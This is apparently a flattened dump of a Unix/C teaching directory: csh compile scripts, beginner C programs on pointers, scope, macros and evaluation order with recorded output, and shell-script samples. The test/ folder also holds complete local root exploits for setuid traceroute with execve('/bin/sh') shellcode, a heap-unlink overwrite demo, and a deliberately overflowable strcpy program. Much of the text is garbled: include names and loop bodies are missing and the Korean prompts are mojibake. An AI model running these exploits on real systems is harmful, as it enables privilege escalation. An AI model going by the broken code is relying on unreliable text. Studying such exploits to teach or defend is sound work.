==> ~/unixp/c-tests.txt c-tests.hwp<== ==> sh.comp <== #!/bin/csh foreach i ( *.c ) echo "Compile $i ...." gcc -o `echo $i | sed -n s/\\.c//p` $i end ==> sh.res <== #!/bin/csh echo "/* Result:" >> $1.c echo "% $1" >> $1.c $1 >> $1.c echo "*/" >> $1.c ==> sh.result <== #!/bin/csh foreach na ( *.c ) echo "Compile $na ...." set nn=`echo $na | sed -n s/\\.c//p` gcc -o $nn $na echo "/* Results:" >> $na echo "% $nn" >> $na $nn >> $na echo "*/" >> $na end ==> ex/arg.c <== #include main(argc,argv) int argc; char *argv[]; { int i; printf("argc=%d\n", argc); for (i=0; i ex/hello1.c <== main() { printf("Hello, world 1 !\n"); } /* Result: % cat hello1.s % gcc -S hello1.c ======= gcc at P2/200MHz MMX =================== .file "hello1.c" .section ".rodata" .align 8 .LLC0: .asciz "Hello, world 1 !\n" .section ".text" .align 4 .global main .type main,#function .proc 04 main: !#PROLOGUE# 0 save %sp, -112, %sp !#PROLOGUE# 1 sethi %hi(.LLC0), %o0 or %o0, %lo(.LLC0), %o0 call printf, 0 nop ret restore .LLfe1: .size main,.LLfe1-main .ident "GCC: (GNU) 3.0" ====== Another Version of gcc at P4/800MHz ======= .file "hello1.c" .version "01.01" gcc2_compiled.: .section .rodata .LC0: .string "Hello, world 1 !\n" .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp, %ebp subl $8, %esp subl $12, %esp pushl $.LC0 call printf addl $16, %esp leave ret .Lfe1: .size main,.Lfe1-main .ident "GCC: (GNU) 2.96 20000731 (Red Hat Linux 7.1 2.96-81)" */ ==> ex/hello2.c <== main() { write(1, "Hello, world 2 !\n", 17); } /* Result: % gcc -S hello2.c % cat hello2.s .file "hello2.c" .section ".rodata" .align 8 .LLC0: .asciz "Hello, world 2 !\n" .section ".text" .align 4 .global main .type main,#function .proc 04 main: !#PROLOGUE# 0 save %sp, -112, %sp !#PROLOGUE# 1 mov 1, %o0 sethi %hi(.LLC0), %o1 or %o1, %lo(.LLC0), %o1 mov 17, %o2 call write, 0 nop ret restore .LLfe1: .size main,.LLfe1-main .ident "GCC: (GNU) 3.0" */ ==> ex/hello3.c <== #include main() { syscall(SYS_write, 1, "Hello, world 3 !\n", 17); } /* Result: % gcc -S hello3.c % cat hello3.s .file "hello3.c" .section ".rodata" .align 8 .LLC0: .asciz "Hello, world 3 !\n" .section ".text" .align 4 .global main .type main,#function .proc 04 main: !#PROLOGUE# 0 save %sp, -112, %sp !#PROLOGUE# 1 mov 4, %o0 mov 1, %o1 sethi %hi(.LLC0), %o2 or %o2, %lo(.LLC0), %o2 mov 17, %o3 call syscall, 0 nop ret restore .LLfe1: .size main,.LLfe1-main .ident "GCC: (GNU) 3.0" /* Result: ==> ex/pointer1.c <== #include /* Test of Pointer: The Contents of Pointers */ main () { int a=5, b=8, c, *pa, *pc; pa = &a; pc = &c; *pc = *pa + b; printf("a(%d) + b(%d) = %d\n", *pa, b, c); } /* Result: % pointer1 a(5) + b(8) = 13 */ ==> ex/pointer2.c <== #include /* Test of Pointer: Assign Address and Content */ main () { int a=5, b=8, *c, *d, t; c = &t; *c = a + b; d = &a; printf("a(%d) + b(%d) = t(%d)\n", a, b, t); printf("a(%d) + b(%d) = c(%d)\n", *d, b, *c); printf("a(%d) + b(%d) = c(%d)\n", d, b, c); printf("a(%d) + b(%d) = c(%d)\n", &d, &b, &c); } /* Result: % pointer2 a(5) + b(8) = t(13) a(5) + b(8) = c(13) a(-1073743292) + b(8) = c(-1073743308) a(-1073743304) + b(-1073743296) = c(-1073743300) */ ==> ex/pointer3.c <== #include /* Test of Pointer: Calculate Address of Pointer */ main() { static int a[]={1,3,5,7,9}; int *pa1, *pa2; pa1 = &a[0]; pa2 = pa1 + 3; printf("a[%d] = %d\n", pa2-pa1, *pa2); printf("a[%d] = %d\n", ((char*)pa2 - (char*)pa1), *pa2); printf("a[%d] = %d\n", ((char*)pa2 - (char*)pa1) / sizeof(int), *pa2); printf("* note: size of int is %d\n", sizeof(int)); } /* Result: % pointer3 a[3] = 7 a[12] = 7 a[3] = 7 * note: size of int is 4 */ ==> ex/pointer4.c <== #include void swap(int *a, int*b) { int temp = *a; *a = *b; *b = temp; } main() { int a, b; printf("Type two integers! "); scanf("%d %d", &a, &b); printf("Typed nums: a=%d, b=%d\n", a, b); swap(&a, &b); printf("After Swap: a=%d, b=%d\n", a, b); } /* Result: % pointer4 Type two integers! 123 789 Typed nums: a=123, b=789 After Swap: a=789, b=123 */ ==> ex/pointer5.c <== /* Pointer Test: Array and Pointer to a Pointer */ #include main() { static char *p[7]={"Sunday","Monday","Tuesday","Wednesday","Thursady"}; int j, k; char **pt; p[5] = "Friday"; p[6] = "Saturday"; for (k=0; k<7; k++) printf(" %s", p[k]); printf("\n"); for (k=0, pt=p; k<7; k++, pt++) printf(" %s", *pt); printf("\n"); for (k=0; k<7; k++) { printf(" "); for (j=0; j<3; j++) printf("%c", p[k][j]); } printf("\n"); } /* Result: % pointer5 Sunday Monday Tuesday Wednesday Thursady Friday Saturday Sunday Monday Tuesday Wednesday Thursady Friday Saturday Sun Mon Tue Wed Thu Fri Sat */ ==> ex/pointer6a.c <== /* Pointer Test: ineffective Pointer */ #include inep(char *p) { printf("%s\n", p); } main() { char buf[100], c; printf("¹®ÀÚ¿­À» ÀÔ·ÂÇϽÿÀ! "); scanf("%s", buf); inep(buf); } ==> ex/pointer6.c <== /* Pointer Test: Pointer to a Function */ #include main() { /* int (*ppr)(const char * ...), (*psc)(const char * ...); int (*ppr)(char * ...), (*psc)(char * ...); if error ? then try as: */ int (*ppr)(), (*psc)(); int k; int (*pps[2])(); /* Array pointer to a function */ printf("Pointer a Function.\n"); ppr = printf; psc = &scanf; (*ppr)("Type an integer! "); (*psc)("%d", &k); (*ppr)("The square of %d is %d.\n", k, k*k); /* Pointer to an Array of a Function */ printf("Pointer Array to Functions.\n"); pps[0] = &printf; pps[1] = &scanf; (*pps[0])("Type an integer! "); (*pps[1])("%d", &k); (*pps[0])("The square of %d is %d.\n", k, k*k); } /* Result: % pointer6 Pointer a Function. Type an integer! The square of 123 is 15129. Pointer Array to Functions. Type an integer! The square of 789 is 622521. */ ==> ex/pointer7.c <== /* Pointer Test: Command Line */ #include main(int argc, char *argv[]) { int k; printf("argc(# of arguments)=%d and the command(argv0)=%s\n", argc, argv[0]); for(k=0; k ex/pointer8a.c <== /* Pointer Test: ineffective Pointer */ #include char *search(char *p, int a) { printf("a=%c buf=%s\n", a, p); while(*p!='\0') { printf("%c ", *p); if (*p == a) return p; p++; } return 0; } main() { char buf[100], c, *pc; printf("¹®ÀÚ¿­À» ÀÔ·ÂÇϽÿÀ! "); printf("ã°íÀÚÇÏ´Â ¹®ÀÚ¸¦ ÀÔ·ÂÇϽÿÀ! "); scanf("%s %s", buf, &c); /* rewind(stdin); */ if ((pc = search(buf, c)) != 0) printf("\nSearched: %s\n", pc); } /* Result: % pointer8a ¹®ÀÚ¿­À» ÀÔ·ÂÇϽÿÀ! abcdefghijklmnop ã°íÀÚÇÏ´Â ¹®ÀÚ¸¦ ÀÔ·ÂÇϽÿÀ! jk a=j buf=k k */ ==> ex/pointer8.c <== /* Pointer Test: ineffective Pointer */ #include char *search(char *p, int a) { printf("a=%c buf=%s\n", a, p); while(*p!='\0') { printf("%c ", *p); if (*p == a) return p; p++; } return 0; } main() { char buf[100], c, *pc; printf("¹®ÀÚ¿­À» ÀÔ·ÂÇϽÿÀ! "); scanf("%s", buf); /* rewind(stdin); */ printf("ã°íÀÚÇÏ´Â ¹®ÀÚ¸¦ ÀÔ·ÂÇϽÿÀ! "); scanf("%s", &c); if ((pc = search(buf, c)) != 0) printf("\nSearched: %s\n", pc); } /* Result: % pointer8 ¹®ÀÚ¿­À» ÀÔ·ÂÇϽÿÀ! abcdefghijklmnopqrstuvwxyz ã°íÀÚÇÏ´Â ¹®ÀÚ¸¦ ÀÔ·ÂÇϽÿÀ! jk a=j buf=k k */ ==> ex/pointer9.c <== /* Pointer Test: General Pointer */ #include #include #include void *mcopy(const void *const p, const unsigned int size) { void *pd; int k; pd = malloc(size); for (k=0; k ex/str.c <== #include #include main() { char a[10], b[10]; strcpy(a,"ab"); strcpy(b,"pqr"); strcat(b,a); printf("%s\n",b); } /* Result: % str pqrab */ ==> ex/strcat.c <== #include main() { char a[5], b[100]; strcpy(a,"abcde"); strcpy(b,"pqrst"); strcat(b,a); printf("%s\n",b); } strcat(s,t) /* concatenate t to end of s */ char s[], t[]; { int i,j; i=j=0; while(s[i] != '\0') i++; while((s[i++]=t[j++]) != '\0'); } /* Result: % strcat pqrstabcde */ ==> ex/suid1.c <== #include main(argc,argv) int argc; char *argv[]; { int newmask; void perror(), exit(); newmask=umask(014); if(fork() == 0) { execvp(argv[1],&argv[1]); perror(argv[1]); exit(127); } } ==> ex/suid2.c <== main() { system("cp file1 file4"); } ==> ex/suid.c <== #include #include main() { char comm[15]="cp file1 file3\0"; int newmask; void perror(), exit(); newmask = umask(014); if(fork() == 0) { /* execvp(comm,&comm); */ execlp("cp","cp","file1","file3",(char *) 0); perror(comm); exit(1); } } ==> ex/vul.c <== void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); printf("buffer=%s\n", buffer); } /* Result: % vul abcde buffer=abcde */ ==> pl/chr.c <== /* Unexpected Wrong Results from "Programming Languages..." by Kim,Ilmin, Cho,Sehong, 21 Century pub. pp.162 */ void main() { char ch='A', cj='BC'; int i; float f; f = i = ch + 1; printf("%c, %d, %f\n", i, i, f); f = i = cj + 1; printf("%c, %d, %f\n", i, i, f); } /* Result: % chr B, 66, 66.000000 D, 68, 68.000000 */ ==> pl/control3.c <== /* Test of Control Flow on the Text Ch.7 goto, continue, break */ #include "stdio.h" main() { int a[5]={1, 2, 3, 4, 5}, i, j; for (i=0; i<5; i++) { printf(" a[%d]=%d ",i,a[i]); if (i == 3) continue; if (a[i] == 4) goto found; jumpin: } printf("\n"); found: printf(" found a[%d]=%d\n",i,a[i]); if (i<2) goto jumpin; } /* Execution Results: % control3 a[0]=1 a[1]=2 a[2]=3 a[3]=4 a[4]=5 found a[5]=-1073743624 */ ==> pl/c-order.c <== /* calculation order test for the eq. of a = b + (c = d / b++ ) - 1 on text pp. 282 Ch6.7*/ #include main() { int a,b,c,d; a=1; b=2; c=3; d=4; printf(" a b c d of a=b+(c=d/b++)-1\n %d %d %d %d before\n",a,b,c,d); a = b + (c=d/b++) - 1; printf(" %d %d %d %d after the calculation\n",a,b,c,d); a=10; b=21; c=32; d=43; printf("again,\n a b c d of a=b+(c=d/++b)-1\n %d %d %d %d before\n",a,b,c,d); a = b + (c=d/++b) - 1; printf(" %d %d %d %d after the calculation\n",a,b,c,d); } /* Results: % c-order a b c d of a=b+(c=d/b++)-1 1 2 3 4 before 3 3 2 4 after the calculation again, a b c d of a=b+(c=d/++b)-1 10 21 32 43 before 22 22 1 43 after the calculation */ ==> pl/preproc2.c <== /* Unexpected Wrong Results from "Programming Languages..." by Kim,Ilmin, Cho,Sehong, 21 Century pub. pp.90 */ #define SQ(X) (X * X) void main() { int x=5, z; printf("SQ(x+1) is %d, 100/SQ(5) is %d\n",SQ(x+1), 100/SQ(5)); } /* Results: % preproc2 preproc2.c: In function `main': preproc2.c:7: warning: return type of `main' is not `int' SQ(x+1) is 11, 100/SQ(5) is 4 */ ==> pl/preproc.c <== /* Unexpected Wrong Results from "Programming Languages..." by Kim,Ilmin, Cho,Sehong, 21 Century pub. pp.90 */ #include #define P(z) printf("z is %d\n",z) #define Sq1(X) X*X #define Sq2(X) (X) * (X) #define Sq3(X) (X * X) void main() { int x=4, z; z=Sq1(x); P(z); z=Sq1(x+1); P(z); z=Sq2(x); P(z); z=Sq2(x+1); P(z); z=Sq3(x); P(z); z=Sq3(x+1); P(z); z=100/Sq1(2); P(z); z=100/Sq2(2); P(z); z=100/Sq3(2); P(z); } /* Results: % preproc z is 16 z is 9 z is 16 z is 25 z is 16 z is 9 z is 100 z is 100 z is 25 */ ==> pl/prior2.c <== /* Unexpected Wrong Results from "Programming Languages..." by Kim,Ilmin, Cho,Sehong, 21 Century pub. pp.201 */ void main() { struct list { int *fp; } data, *p; int x[]={1,2,3,4,5}, *ip; ip = x; p = &data; p->fp = x + 1; printf("%d %d %d %d %d\n", *p->fp, *++p->fp, *ip++, *ip++, *ip); } /* the result is 3 3 2 1 1 <=== Strange??? */ /* Results: % prior2 prior2.c: In function `main': prior2.c:6: warning: return type of `main' is not `int' 3 3 2 1 1 */ ==> pl/prior.c <== /* Unexpected Wrong Results from "Programming Languages..." by Kim,Ilmin, Cho,Sehong, 21 Century pub. pp.201 */ void main() { struct list { int *fp; } data, *p; int x[]={1,2,3,4,5}, *ip; ip = x; p = &data; p->fp = x + 1; printf("%d\n", *p->fp); printf("%d\n", *++p->fp); printf("%d\n", *ip++); printf("%d\n", *ip++); printf("%d\n", *ip); } /* Results: % prior prior.c: In function `main': prior.c:6: warning: return type of `main' is not `int' 2 3 1 2 3 */ ==> pl/scope1.c <== #include void main() { { int x; printf("%d\n",x); x=1; } /* { printf("%d\n",x); } */ } /* Results: % scope1 scope1.c: In function `main': scope1.c:3: warning: return type of `main' is not `int' 134518244 */ ==> pl/scope2.c <== /* Unexpected Wrong Results from "Programming Languages..." by Kim,Ilmin, Cho,Sehong, 21 Century pub. pp.110 */ #include int i=200, k=400; void sub() { int i=1; printf("i=%d k=%d\n",i, k); } void main() { int i=2; { int i=3, k=4; { int i=5; printf("i=%d k=%d\n",i, k); } printf("i=%d k=%d\n",i, k); sub(); } printf("i=%d k=%d\n",i, k); } /* Results: % scope2 i=5 k=4 i=3 k=4 i=1 k=400 i=2 k=400 */ ==> pl/vars1.c <== #include int a=100; sub(int b, int *c) { printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; (*c)++; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c++; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; (*c)++; *c=*c+1; } main() { int b=10, c=10; sub(b+10, &c); printf("main b=%d c=%d\n",b,c); } /* Results: % vars1 sub a=100, b=20 c=10 sub a=100, b=21 c=11 sub a=100, b=22 c=13 sub a=100, b=23 c=11 main b=13 c=13 */ ==> pl/vars.c <== #include int a=100; sub(int b, int *c) { printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c++; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c=++*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); ++b; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); } main() { int b=10, c=10; sub(b+10, &c); printf("main b=%d c=%d\n",b,c); } /* Results: % vars sub a=100, b=20 c=10 sub a=100, b=21 c=10 sub a=100, b=22 c=12 sub a=100, b=23 c=13 main b=13 c=10 */ ==> test/gethostbyname.c <== #include #include #include #include #include #include int main(int argc, char *argv[]) { struct hostent *h; if (argc != 2) { /* error check the command line */ fprintf(stderr,"usage: getip address\n"); exit(1); } if ((h=gethostbyname(argv[1])) == NULL) { /* get the host info */ herror("gethostbyname"); exit(1); } printf("Host name : %s\n", h->h_name); printf("IP Address : %s\n",inet_ntoa(*((struct in_addr *)h->h_addr))); return 0; } ==> test/hello.c <== main () { printf("Hello my c program!!!\n"); } ==> test/lsr.c <== #include #include #include #include #include #include #define DIRSIZE MAXNAMLEN main(argc, argv) int argc; char *argv[]; { dlist('.', argv[1]); } dlist(char *ddn, char *dn) { DIR* dirfd; struct direct *dentry; static char filename[DIRSIZE+1], ddname[DIRSIZE+1], ddd[DIRSIZE+1]; char dname[DIRSIZE+1]; struct stat stbuf; memcpy(ddname, ddn, DIRSIZE); strcpy(ddd, ddname); strcat(ddname, "/"); strcat(ddname, dname); memcpy(dname, dn, DIRSIZE); if((dirfd = opendir(dname)) == NULL) { perror(ddname); exit(1); } while((dentry=readdir(dirfd)) != NULL) { if(dentry->d_ino == 0) continue; memcpy(filename, dentry->d_name, DIRSIZE); if((filename[0] == '.') && (strlen(filename) == 1)) continue; if((filename[0] == '.') && (filename[1] == '.') && (strlen(filename) == 2)) continue; if(stat(filename, &stbuf) == -1) { perror(filename); break; } if((stbuf.st_mode & S_IFMT) == S_IFREG) { printf("%-20s", filename); printf("%10ld%11ld ", stbuf.st_size, stbuf.st_mtime); printf("%s\n", ddname); } if((stbuf.st_mode & S_IFMT) == S_IFDIR) { dlist(ddname, filename); } strcpy(ddname, ddd); } } ==> test/lsro.c <== #include #include #include #include #include #include #define DIRSIZE MAXNAMLEN main(argc, argv) int argc; char *argv[]; { dlist(argv[1]); } dlist(char *dn) { DIR* dirfd; struct direct *dentry; static char filename[DIRSIZE+1]; struct stat stbuf; static char dname[DIRSIZE+1], ddname[DIRSIZE+1]; memcpy(dname, dn, DIRSIZE); if((dirfd = opendir(dname)) == NULL) { perror(dname); exit(1); } while((dentry=readdir(dirfd)) != NULL) { if(dentry->d_ino == 0) continue; memcpy(filename, dentry->d_name, DIRSIZE); if((filename[0] == '.') && (strlen(filename) == 1)) continue; if((filename[0] == '.') && (filename[1] == '.') && (strlen(filename) == 2)) continue; if(stat(filename, &stbuf) == -1) { perror(filename); break; } if((stbuf.st_mode & S_IFMT) == S_IFREG) { printf("%-20s", filename); printf("%10ld%11ld ", stbuf.st_size, stbuf.st_mtime); printf("%s\n", dname); } if((stbuf.st_mode & S_IFMT) == S_IFDIR) { memcpy(ddname, dn, DIRSIZE); strcat(ddname, "/"); strcat(ddname, filename); dlist(ddname); } } } ==> test/mainsdb.c <== main() { int i, sum=0; for(i=0; i<2; i++) sum+=i; printf("sum = %d\n", sum); for(i=3; i<6; i++) sum+=i; printf("sum = %d\n", sum); } ==> test/recursive.c <== /* recursive call: print a number as a character string */ main() { int n=1234567890; printd(n); putchar('\n'); } printd(n) /* print n in decimal */ int n; { char s[10]; int i; if (n<0) { putchar('-'); n = -n; } if ((i=n/10) != 0) printd(i); putchar(n%10 + '0'); putchar(' '); } /* Result: % recursive 1 2 3 4 5 6 7 8 9 0 */ ==> test/tracert-exp2.c <== #include #include #include char code[] = "\xeb\x34" /* jmp GETADDR */ "\x90\x90\x90\x90" /* nop nop nop nop */ "\x90\x90\x90\x90" /* nop nop nop nop */ "\x90\x90\x90\x90" /* nop nop nop nop */ "\x90\x90\x90\x90" /* nop nop nop nop */ /* RUNPROG: */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xfe\x06" /* incb (%esi) */ "\xfe\x46\x04" /* incb 0x4(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* incl %eax */ "\xcd\x80" /* int $0x80 */ /* GETADDR: */ "\xe8\xd7\xff\xff\xff" /* call RUNPROG */ ".bin.sh"; /* Program to run .XXX.XX */ extern void *__malloc_hook; typedef struct glue { int a; int b; void *p; void *q; } glue; void print_hex(char *p) { char *q; q=p; while(*q) { if (*q > 32 && *q < 127) { printf("%c",*q); } else { printf(" "); } q++; } } int main(void) { int ipa=0x2E312E31; int ipb=0x20312E31; int oh=0x00000000; int dummy=0x43434343; void *mh=(void **)__malloc_hook; void *usage=(void *)0x804a858; /* void *us=(void *)0x804cd80;*/ void *us=(void *)0x804cd7a; char buf[260]; char whocares[4096]; char *prog="/tmp/traceroute"; glue temp; FILE *out; printf ("malloc_hook %x code %x\n",mh, usage); memset(buf, 0x47,256); buf[255]='\0'; printf ("buf: %s\n", buf); temp.a=ipa; temp.b=ipb; temp.p=mh; temp.q=us+16; memcpy(buf, (void *)&temp,16); printf ("buf: %s\n", buf); temp.p=(void *)oh; temp.q=(void *)oh; temp.a=dummy; /* temp.b=dummy;*/ temp.b=0xFFFFFF01; printf("code(%d)\n", sizeof(code)); strncpy(buf+16, code, sizeof(code) -1); memcpy(buf+240, (void *)&temp, 0x10); printf ("buf: %s\n", buf); buf[255]='\0'; out=fopen("/tmp/code","w"); fputs(buf,out); fclose(out); printf("%s\n",whocares); execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL); return 0; } ==> test/tracert-exp3.c <== /* * MasterSecuritY * * traceroot.c - Local root exploit in LBNL traceroute * Copyright (C) 2000 Michel "MaXX" Kaempf * * Updated versions of this exploit and the corresponding advisory will * be made available at: * * ftp://maxx.via.ecp.fr/traceroot/ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 #define i386_linux \ /* setuid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \ /* setgid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \ /* Aleph One :) */ \ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \ "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \ "\x80\xe8\xdc\xff\xff\xff/bin/sh" #define sparc_linux \ /* setuid( 0 ); */ \ "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" \ /* setgid( 0 ); */ \ "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" \ /* Aleph One :) */ \ "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" \ "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" \ "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10" struct arch { char * description; char * filename; unsigned int stack; char * hell; char * code; unsigned int p; unsigned int __free_hook; }; struct arch archlist[] = { { "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386", "/usr/sbin/traceroute", 0xc0000000 - 4, "\xeb\x0aXXYYYYZZZ", i386_linux, 0x0804ce38, 0x400f1cd8 }, { "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc", "/usr/sbin/traceroute", 0xf0000000 - 8, "\x10\x80", "\x03\x01XXXYYYY" sparc_linux, 0x00025598, 0x70152c34 } }; void usage( char * string ) { int i; fprintf( stderr, "Usage: %s architecture\n", string ); fprintf( stderr, "Available architectures:\n" ); for ( i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) { fprintf( stderr, "%i: %s\n", i, archlist[i].description ); } } int main( int argc, char * argv[] ) { char gateway[1337]; char host[1337]; char hell[1337]; char code[1337]; char * execve_argv[] = { NULL, "-g", "123", "-g", gateway, host, hell, code, NULL }; int i; struct arch * arch; unsigned int hellcode; unsigned int size; if ( argc != 2 ) { usage( argv[0] ); return( -1 ); } i = atoi( argv[1] ); if ( i < 0 || i >= sizeof(archlist) / sizeof(struct arch) ) { usage( argv[0] ); return( -1 ); } arch = &( archlist[i] ); execve_argv[0] = arch->filename; strcpy( code, arch->code ); strcpy( hell, arch->hell ); hellcode = arch->stack - (strlen(arch->filename) + 1) - (strlen(code) + 1) - (strlen(hell) + 1); for ( i = 0; i < hellcode - (hellcode & ~3); i++ ) { strcat( code, "X" ); } hellcode = hellcode & ~3; strcpy( host, "AAAABBBBCCCCDDDDEEEEXXX" ); ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE; ((unsigned int *)host)[2] = 0xffffffff; ((unsigned int *)host)[3] = arch->__free_hook - 12; ((unsigned int *)host)[4] = hellcode; size = (hellcode - (strlen(host) + 1) + 4) - (arch->p - 4); size = size | PREV_INUSE; sprintf( gateway, "0x%02x.0x%02x.0x%02x.0x%02x", ((unsigned char *)(&size))[0], ((unsigned char *)(&size))[1], ((unsigned char *)(&size))[2], ((unsigned char *)(&size))[3] ); execve( execve_argv[0], execve_argv, NULL ); return( -1 ); } ==> test/tracexp.c <== void main(void) { unsigned int *chunk; int i; unsigned int shellcode[10]; unsigned int ret_addr_2_change = 9; /* Get some space */ chunk = malloc(0x8); /* now setup the chunk to fool chunk_free() By making prev_size negative it will look _after_ this chunk in stead of in front of it */ chunk[0] = -0x10; /* prev_size */ chunk[1] = 0x8; /* size */ chunk[2] = shellcode; /* fd */ chunk[3] = shellcode; /* bk */ /* set fd to the adres of the return address - 3 the minus 3 is needed because fd[3] will become bk bk will be set to point to our shellcode. Remember that bk[2] will be changed to contain fd so that there should be a jmp or so in the shellcode to skip that value. */ chunk[4+2] = (int) (&ret_addr_2_change - 3); chunk[4+3] = (int) (shellcode); /* set shellcode to 0 so that we can see the change */ memset(shellcode, 0, sizeof(shellcode)); printf("ret before call: %x\n", ret_addr_2_change); printf("address of ret: %x\n", &ret_addr_2_change); printf("address of shellcode: %x\n", shellcode); /* remember we give mem to free which finds the chunk based on that */ free(chunk+2); printf("ret now: %x\n", ret_addr_2_change); for (i = 0 ; i < 10; i++) { printf("sh: %d : %x\n", i, shellcode[i]); } } ==> test/vars1.c <== #include int a=100; sub(int b, int *c) { printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; (*c)++; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c++; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; (*c)++; *c=*c+1; } main() { int b=10, c=10; sub(b+10, &c); printf("main b=%d c=%d\n",b,c); } /* Results: sub a=100, b=20 c=10 sub a=100, b=21 c=11 sub a=100, b=22 c=13 sub a=100, b=23 c=11 main b=13 c=13 */ ==> test/vars.c <== #include int a=100; sub(int b, int *c) { printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c++; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); b++; *c=++*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); ++b; *c=*c+1; printf(" sub a=%d, b=%d c=%d\n", a,b,*c); } main() { int b=10, c=10; sub(b+10, &c); printf("main b=%d c=%d\n",b,c); } /* Results: sub a=100, b=20 c=10 sub a=100, b=21 c=10 sub a=100, b=22 c=12 sub a=100, b=23 c=13 main b=13 c=10 */ ==> test/wiz.c <== #include #include #include #include #include #include #define DIRSIZE MAXNAMLEN main(argc, argv) int argc; char *argv[]; { dlist(argv[1]); } dlist(char *dn) { DIR* dirfd; struct direct *dentry; static char filename[DIRSIZE+1]; struct stat stbuf; char dname[DIRSIZE+1]; memcpy(dname, dn, DIRSIZE); if((dirfd = opendir(dname)) == NULL || chdir(dname) == -1) { perror(dname); exit(1); } while((dentry=readdir(dirfd)) != NULL) { if(dentry->d_ino == 0) continue; memcpy(filename, dentry->d_name, DIRSIZE); if(stat(filename, &stbuf) == -1) { perror(filename); break; } if((stbuf.st_mode & S_IFMT) == S_IFREG) { printf("%-20s", filename); /* switch(stbuf.st_mode & S_IFMT) { case S_IFDIR: printf("d "); break; case S_IFDIR: printf("d "); dlist(filename); break; case S_IFCHR: printf("c "); break; case S_IFBLK: printf("b "); break; case S_IFREG: printf("- "); break; case S_IFIFO: printf("p "); break; } */ printf("%10ld%11ld ", stbuf.st_size, stbuf.st_mtime); printf("%s\n", dname); } /* prntimes(&stbuf); need dname = dname.filename dname = strcat(dname, "/"); dname = strcat(dname, filename); if((stbuf.st_mode & S_IFMT) == S_IFDIR) dlist(dname); */ } } #include prntimes(stbuf) struct stat *stbuf; { char *ctime(); printf("\t%s", ctime(&stbuf->st_mtime)); } ==================================== ==> cshell/argv <== #!/bin/csh echo There are $#argv arguments! echo The 1st is $argv[1], the 2nd is $argv[2], ... echo and the last is $argv[$#argv]. ==> cshell/low <== #!/bin/sh # lowerit # convert all file names in the current directory to lower case # only operates on plain files--does not change the name of directories # will ask for verification before overwriting an existing file for x in `ls` do if [ ! -f $x ]; then continue fi lc=`echo $x | tr '[A-Z]' '[a-z]'` if [ $lc != $x ]; then mv -i $x $lc fi done ==> cshell/sh.ren <== #!/bin/csh # Usage: sh.ren arg1 arg2 # changes the string arg1 in the names of files # in the working directory to the string arg2 # if ($#argv != 2) goto usage foreach i ( *$1* ) mv $i `echo $i | sed -n s/$1/$2/p` end exit 0 usage: echo "Usage: sh.ren arg1 arg2" exit 1 ==> cshell/test0 <== #!/bin/csh echo Hello C Shell Programming! echo '' if ($#argv == 0) then echo You\'ve typed $argv[0] echo Type argument! else echo You\'ve typed $argv[0] $argv[1] echo Well done! endif ==> cshell/test1 <== #!/bin/csh switch ($argv[1]) case [yY][eE][sS]: echo Argument is yes. breaksw case [nN][oO]: echo Argument is no. breaksw default: echo Argument is neither yes nor no. endsw ==> cshell/test2 <== #!/bin/csh set days=(mon tue wed thr fri) echo $days foreach d ( $days ) echo the day is $d end ==> cshell/test3 <== #!/bin/csh set i=0 while ( $i != 5 ) echo \$i is $i. @ i++ end ==> 